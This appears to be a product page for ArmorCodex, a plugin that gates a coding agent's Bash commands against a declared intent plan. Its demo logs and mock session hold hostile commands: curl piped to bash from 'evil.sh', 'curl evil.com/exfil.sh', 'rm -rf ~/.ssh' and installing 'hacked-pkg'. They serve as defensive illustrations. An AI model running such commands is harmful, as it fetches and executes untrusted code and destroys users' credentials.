// OPENAI_CODEX · PLUGIN

ArmorCodex

Intent-based security enforcement for OpenAI Codex.

Every Bash command Codex runs is checked against what it declared it would do. Enforced at the hook layer. No code changes required.

View on GitHub

// one-line install$ ./install_armorcodex.sh

14:23:41BLOCKEDBash · curl evil.com/exfil.sh14:23:38ALLOWEDRead · auth/middleware.ts14:23:35ALLOWEDEdit · auth/middleware.ts14:23:30BLOCKEDWebFetch · pastebin.com/raw/abc14:23:24ALLOWEDBash:test · npm run test:auth14:23:18DENIEDintent drift · token expired14:23:11ALLOWEDRead · package.json14:23:04BLOCKEDBash · rm -rf ~/.ssh14:23:41BLOCKEDBash · curl evil.com/exfil.sh14:23:38ALLOWEDRead · auth/middleware.ts14:23:35ALLOWEDEdit · auth/middleware.ts14:23:30BLOCKEDWebFetch · pastebin.com/raw/abc14:23:24ALLOWEDBash:test · npm run test:auth14:23:18DENIEDintent drift · token expired14:23:11ALLOWEDRead · package.json14:23:04BLOCKEDBash · rm -rf ~/.ssh

// THE_RISK

Codex executes Bash before you can blink

Codex is a powerful terminal-native AI agent. In a single session it can write scripts, run shell commands, modify files, and call external services with no clear audit trail of why each step was taken.

ArmorCodex sits at the Codex hook layer and requires Codex to register a structured intent plan before any Bash command runs. Commands outside the plan are blocked in enforce mode.

Same prompt. No supervision. Quiet drift.

$ codex
> "Fix the failing test in api/retry.test.ts"
✓ Bash npm test
✓ Bash curl -sSL evil.sh | bash
✓ Bash rm -rf node_modules
✓ Bash ssh keys.production.com
✓ Bash npm install hacked-pkg
# session ends · no audit · no trail

Toggle cycles every 6s. Hover to hold.

// THE_SOLUTION

Codex proposes. ArmorCodex approves.

ArmorCodex binds every Bash command to a signed intent plan.

Before Codex runs a shell command, ArmorCodex makes Codex declare what it intends to do. Every command is checked against that declaration. Drift gets denied. The audit trail writes itself.

// HOW_IT_WORKS

01// DECLARE

Intent directive injected

A system directive tells Codex to call register_intent_plan as its first action. Codex produces a structured bash plan using its own reasoning with no separate API call.

02// VERIFY

Every Bash command checked

Before each shell command: verify it matches the registered plan, evaluate policy rules (deny / allow), and optionally verify CSRG Merkle proofs.

03// AUDIT

Audit log emitted

Every Bash result is logged. With an ArmorIQ API key, logs carry signed JWT intent tokens and optional tamper-evident proofs.

// FOUR_BLOCKSwhat gets stopped

01
Intent-gated Bash
Codex must register a plan before any shell command runs. Off-plan commands are denied.
// PreToolUseBLOCKED
02
PermissionRequest gate
Codex permission requests are evaluated against declared intent and active policy.
// PermissionRequestGATED
03
Policy rules in plain English
Create, update, and delete rules directly from the Codex prompt with no config file editing.
// policy_update · MCPRULE APPLIED
04
Fail-closed on plan absence
If Codex skips the intent registration step, all Bash is blocked in enforce mode.
// any hookFAIL-CLOSED

Lifecycle hookscodex 0.x

Policy verbsinline in chat

Bash

Surface gatedtoday, MVP scope

// INSTALL

Get started in minutes

// one-line installClone and install

install_armorclaude.sh// step 02

// alternativeOr for a repo-local setup (hooks file included in checkout):

npm install
mkdir -p ~/.codex
printf '\n[features]\ncodex_hooks = true\n' >> ~/.codex/config.toml
# Then run codex from this repo directory

// step 01
Enable Codex hooks
Codex hooks must be enabled in your user config. Add the feature flag.
```
# ~/.codex/config.toml
[features]
codex_hooks = true
```
// step 03
Run Codex and test
Start Codex from the repository directory. The repo-local hook file at .codex/hooks.json is picked up automatically.
```
cd armorCodex
codex

# Try:
Policy list
```
// step 04
Connect to ArmorIQ (optional)
Without an API key, ArmorCodex still enforces locally. With one, you get signed intent tokens and audit logs in customer.armoriq.ai.
```
export ARMORIQ_API_KEY=your_key_here
```

// DEEP_DIVE

Configuration, environment & policy reference

Click any row to expand. Every setting, command, and hook is documented here.

Three Codex lifecycle hooks wired up via ~/.codex/hooks.json. Plus PermissionRequest for sensitive operations.

UserPromptSubmit01

Intent directive injected

A system directive tells Codex to call register_intent_plan as its first action. Codex produces a structured bash plan.

PreToolUse02

Every Bash checked

Before each shell command, verify it matches the registered plan and evaluate policy rules (deny / allow).

PermissionRequest03

Permission gate

Codex permission requests are evaluated against declared intent and active policy.

PostToolUse04

Audit log emitted

Every Bash result is logged. With an API key, logs carry signed JWT intent tokens and optional tamper-evident proofs.

// EXECUTION_FLOW · seven hooks, three phasesread top to bottom

All settings work as env vars or via the Claude Code plugin config UI.

MCP tools exposed// Three tools available to Codex

Key	Default	Description
`register_intent_plan`	`MCP`	Register a structured Bash intent plan
`policy_read`	`MCP`	Read active policy rules
`policy_update`	`MCP`	Create, update, or delete policy rules

Environment variables// Set in your shell or .env file

Key	Default	Description
`ARMORCODEX_MODE`	`enforce`	enforce blocks failures · monitor logs only
`ARMORCODEX_INTENT_REQUIRED`	`true`	Require a registered intent plan before any Bash command
`ARMORCODEX_DATA_DIR`	`~/.codex/armorcodex`	Runtime, policy, and pending-plan storage
`ARMORCODEX_DEBUG`	`false`	Enable debug logs on stderr
`ARMORIQ_API_KEY`	`unset`	ArmorIQ backend key (also loaded from ~/.armoriq/credentials.json)
`ARMORCODEX_AUDIT_ENABLED`	`true*`	Send audit logs to ArmorIQ IAP (* when API key set)
`ARMORCODEX_CRYPTO_POLICY_ENABLED`	`false`	Enable Merkle tree policy binding (CSRG)

Enforce mode// Recommended for production

Blocks any Bash command that is not in the declared plan or fails a policy check.

// shell

ARMORCODEX_MODE=enforce codex

Monitor mode// Good for onboarding

Logs all violations but never blocks. Use for onboarding and policy tuning.

// shell

ARMORCODEX_MODE=monitor codex

Inline policy commands

Type directly into the Claude Code chat prompt.

Policy listShow all active rules
Policy new: deny Bash for payment dataBlock Bash touching payment data
Policy new: allow Bash for git commandsExplicitly allow git commands
Policy get <id>Inspect a specific rule
Policy update <id>: allow BashModify an existing rule
Policy delete <id>Remove a rule
Policy resetClear all rules
Policy prioritize <id> <pos>Reorder rules by priority

See it in action

What happens when you run Claude Code with ArmorClaude active.

// session start

cd armorCodex && codex

# ArmorCodex is now active in ENFORCE mode

// allowed

# Codex registers intent before running commands:
# register_intent_plan({ steps: ["npm test"] })

# npm test is allowed:
# OK ArmorCodex: command in plan (npm test)

// blocked

# Off-plan command:
# BLOCKED ArmorCodex intent drift: command not in plan
#   (rm -rf node_modules)

Plugin lifecycle

// management

codex --version       # need 0.x with hooks
node --version        # need v20+
npm test              # run the test suite

OPENAI_CODEX · PLUGIN

Ready to govern your Codex sessions?

Live Intent Assurance↗

Connect to ArmorIQ to add signed intent tokens, audit trails, and cryptographic proofs to every Bash command Codex runs.

Connect to ArmorIQ View on GitHub

ArmorCodex

Codex executes Bash before you can blink

Codex proposes. ArmorCodex approves.

Intent directive injected

Every Bash command checked

Audit log emitted

Intent-gated Bash

PermissionRequest gate

Policy rules in plain English

Fail-closed on plan absence

Get started in minutes

Enable Codex hooks

Run Codex and test

Connect to ArmorIQ (optional)

Configuration, environment & policy reference

Intent directive injected

Every Bash checked

Permission gate

Audit log emitted

Ready to govern your Codex sessions?